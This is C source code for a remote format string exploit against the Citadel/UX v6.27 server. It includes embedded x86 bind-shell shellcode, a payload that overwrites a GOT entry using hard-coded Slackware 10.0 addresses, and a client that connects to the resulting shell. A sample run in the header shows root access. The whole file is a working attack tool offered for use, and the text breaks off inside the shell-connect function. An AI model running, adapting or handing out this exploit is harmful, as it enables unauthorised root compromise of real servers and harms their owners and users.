/* citadel_fsexp.c
*
* Citadel/UX v6.27 remote format string exploit
*
* Use: ./citadel_fsexp -h <host> [options]
*
* options:
* -h <arg> host or IP
* -t <arg> type of target system
* -l targets list
* -g <arg> syslog GOT address
* -r <arg> RET address
*
* coki@nosystem:~/audit$ ./citadel_fsexp -h localhost -t0
*
* Citadel/UX v6.27 remote format string exploit
* by CoKi <coki@nosystem.com.ar>
*
* [*] host : localhost
* [*] system : Slackware Linux 10.0
* [*] syslog GOT address : 0x0809e9e8
* [*] RET address : 0xbfffd5fa
*
* [+] verifying host... OK
* [+] conecting... OK
* [+] building exploit... OK
* [+] sending exploit... OK
*
* [+] waiting for shell...
* [+] connecting to shell... OK
*
* [!] you have a shell :)
*
* Linux nosystem 2.4.26 #29 Mon Jun 14 19:22:30 PDT 2004 i686 unknown unknown GNU/Linux
* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),
* 11(floppy)
*
* Tested in Slackware 10.0
*
* by CoKi <coki@nosystem.com.ar>
* No System Group - http://www.nosystem.com.ar
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <getopt.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/fcntl.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define BUFFERSIZE 1024
#define ERROR -1
#define TIMEOUT 3
#define PORT 504
#define SHELL 5074

int connect_timeout(int sfd, struct sockaddr *serv_addr,
socklen_t addrlen, int timeout);
int check(unsigned long addr);
void use(char *program);
void printlist(void);
void shell(char *host, int port);

char shellcode[] = /* 92 bytes by s0t4ipv6 */
"\x31\xc0" // xorl %eax,%eax
"\x50" // pushl %eax
"\x40" // incl %eax
"\x89\xc3" // movl %eax,%ebx
"\x50" // pushl %eax
"\x40" // incl %eax
"\x50" // pushl %eax
"\x89\xe1" // movl %esp,%ecx
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x31\xd2" // xorl %edx,%edx
"\x52" // pushl %edx
"\x66\x68\x13\xd2" // pushw $0xd213
"\x43" // incl %ebx
"\x66\x53" // pushw %bx
"\x89\xe1" // movl %esp,%ecx
"\x6a\x10" // pushl $0x10
"\x51" // pushl %ecx
"\x50" // pushl %eax
"\x89\xe1" // movl %esp,%ecx
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x40" // incl %eax
"\x89\x44\x24\x04" // movl %eax,0x4(%esp,1)
"\x43" // incl %ebx
"\x43" // incl %ebx
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x83\xc4\x0c" // addl $0xc,%esp
"\x52" // pushl %edx
"\x52" // pushl %edx
"\x43" // incl %ebx
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x93" // xchgl %eax,%ebx
"\x89\xd1" // movl %edx,%ecx
"\xb0\x3f" // movb $0x3f,%al
"\xcd\x80" // int $0x80
"\x41" // incl %ecx
"\x80\xf9\x03" // cmpb $0x3,%cl
"\x75\xf6" // jnz <shellcode+0x40>
"\x52" // pushl %edx
"\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
"\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f
"\x89\xe3" // movl %esp,%ebx
"\x52" // pushl %edx
"\x53" // pushl %ebx
"\x89\xe1" // movl %esp,%ecx
"\xb0\x0b" // movb $0xb,%al
"\xcd\x80" // int $0x80
;

struct {
char *os;
int got;
int ret;
}targets[] =
{"Slackware Linux 10.0", 0x0809e9e8, 0xbfffd5fa};

int main(int argc, char *argv[]) {
char buffer[BUFFERSIZE], temp[BUFFERSIZE];
char opt, *host=NULL, *system=NULL, *p;
int sockfd, i, retaddr=0, gotaddr=0, targetnum=0;
unsigned int bal1, bal2, bal3, bal4;
int cn1, cn2, cn3, cn4;
struct hostent *he;
struct sockaddr_in dest_dir;

printf("\n Citadel/UX v6.27 remote format string exploit\n");
printf(" by CoKi <coki@nosystem.com.ar>\n\n");

while ((opt = getopt(argc,argv,"h:g:r:t:l")) != EOF) {
switch (opt) {
case 'h':
host = optarg;
break;
case 'g':
gotaddr = strtoul(optarg,NULL,0);
break;
case 'r':
retaddr = strtoul(optarg,NULL,0);
break;
case 't':
targetnum = atoi(optarg);
if(targetnum != 0) {
printf(" invalid target number!\n\n");
exit(0);
}
system = targets[targetnum].os;
gotaddr = targets[targetnum].got;
retaddr = targets[targetnum].ret;
break;
case 'l':
printlist();
break;
default:
use(argv[0]);
break;
}
}

if(host == NULL) use(argv[0]);
if(gotaddr == 0 || retaddr == 0) use(argv[0]);
if(system == NULL) system = "unknown";

printf(" [*] host\t\t\t: %s\n", host);
printf(" [*] system\t\t\t: %s\n", system);
printf(" [*] syslog GOT address\t\t: %010p\n", gotaddr);
printf(" [*] RET address\t\t: %010p\n\n", retaddr);

printf(" [+] verifying host...\t\t");
fflush(stdout);

if((he=gethostbyname(host)) == NULL) {
herror("Error");
printf("\n");
exit(1);
}

printf("OK\n");

if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
perror("Error");
printf("\n");
exit(1);
}

dest_dir.sin_family = AF_INET;
dest_dir.sin_port = htons(PORT);
dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(dest_dir.sin_zero), 8);

printf(" [+] conecting...\t\t");
fflush(stdout);

if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
sizeof(struct sockaddr), TIMEOUT) == ERROR) {

printf("Closed\n\n");
exit(1);
}

printf("OK\n");

printf(" [+] building evil buffer...\t");
fflush(stdout);

bzero(buffer, sizeof(buffer));
strcat(buffer, "x");

for(i = 0; i < 4; i++) {
bzero(temp, sizeof(temp));
sprintf(temp, "%s", &gotaddr);
strncat(buffer, temp, 4);
gotaddr++;
}

bal1 = (retaddr & 0xff000000) >> 24;
bal2 = (retaddr & 0x00ff0000) >> 16;
bal3 = (retaddr & 0x0000ff00) >> 8;
bal4 = (retaddr & 0x000000ff);

cn1 = bal4 - 16 - 1 - 15 - 50 - 92;
cn1 = check(cn1);
cn2 = bal3 - bal4;
cn2 = check(cn2);
cn3 = bal2 - bal3;
cn3 = check(cn3);
cn4 = bal1 - bal2;
cn4 = check(cn4);

p = buffer;
p += 17;

memset(p, '\x90', 50);

strcat(buffer, shellcode);

sprintf(temp, "%%%du%%27$n%%%du%%28$n%%%du%%29$n%%%du%%30$n",
cn1, cn2, cn3, cn4);

strcat(buffer, temp);
bzero(temp, sizeof(temp));

printf("OK\n");

printf(" [+] sending evil buffer...\t");
fflush(stdout);

recv(sockfd, temp, sizeof(temp), 0);
send(sockfd, buffer, strlen(buffer), 0);
send(sockfd, "\n", 1, 0);
close(sockfd);

printf("OK\n\n");

printf(" [+] waiting for shell...\n");
fflush(stdout);
sleep(2);

shell(host, SHELL);
}

int connect_timeout(int sfd, struct sockaddr *serv_addr,
socklen_t addrlen, int timeout) {

int res, slen, flags;
struct timeval tv;
struct sockaddr_in addr;
fd_set rdf, wrf;

fcntl(sfd, F_SETFL, O_NONBLOCK);

res = connect(sfd, serv_addr, addrlen);

if (res >= 0) return res;

FD_ZERO(&rdf);
FD_ZERO(&wrf);

FD_SET(sfd, &rdf);
FD_SET(sfd, &wrf);
bzero(&tv, sizeof(tv));
tv.tv_sec = timeout;

if (select(sfd + 1, &rdf, &wrf, 0, &tv) <= 0)
return -1;

if (FD_ISSET(sfd, &wrf) || FD_ISSET(sfd, &rdf)) {
slen = sizeof(addr);
if (getpeername(sfd, (struct sockaddr*)&addr, &slen) == -1)
return -1;

flags = fcntl(sfd, F_GETFL, NULL);
fcntl(sfd, F_SETFL, flags & ~O_NONBLOCK);

return 0;
}

return -1;
}

int check(unsigned long addr) {
char tmp[128];
snprintf(tmp, sizeof(tmp), "%d", addr);
if(atoi(tmp) < 1)
addr = addr + 256;

return addr;
}

void use(char *program) {
printf(" Use: %s -h <host> [options]\n", program);
printf("\n options:\n");
printf(" -h <arg> host or IP\n");
printf(" -t <arg> type of target system\n");
printf(" -l targets list\n");
printf(" -g <arg> syslog GOT address\n");
printf(" -r <arg> RET address\n\n");
exit(1);
}

void printlist(void) {
printf(" targets\n");
printf(" -------\n\n");
printf(" [0] %s\n\n", targets[0].os);
exit(0);
}

void shell(char *host, int port) {
int sockfd, n;
char buff[BUFFERSIZE];
fd_set readfs;
struct hostent *he;
struct sockaddr_in dest_dir;

printf(" [+] connecting to shell...\t");
fflush(stdout);

if((he=gethostbyname(host)) == NULL) {
herror("Error");
printf("\n");
exit(1);
}

if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
perror("Error");
printf("\n");
exit(1);
}

dest_dir.sin_family = AF_INET;
dest_dir.sin_port = htons(port);
dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(dest_dir.sin_zero), 8);

if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
sizeof(struct sockaddr), TIMEOUT) == ERROR) {

printf("Closed\n\n");
printf(" [-] failed! perhaps the target has down...\n\n");
exit(1);
}

printf("OK\n\n");

printf(" [!] you have a shell :)\n\n");
fflush(stdout);

send(sockfd, "uname -a; id;\n", 14, 0);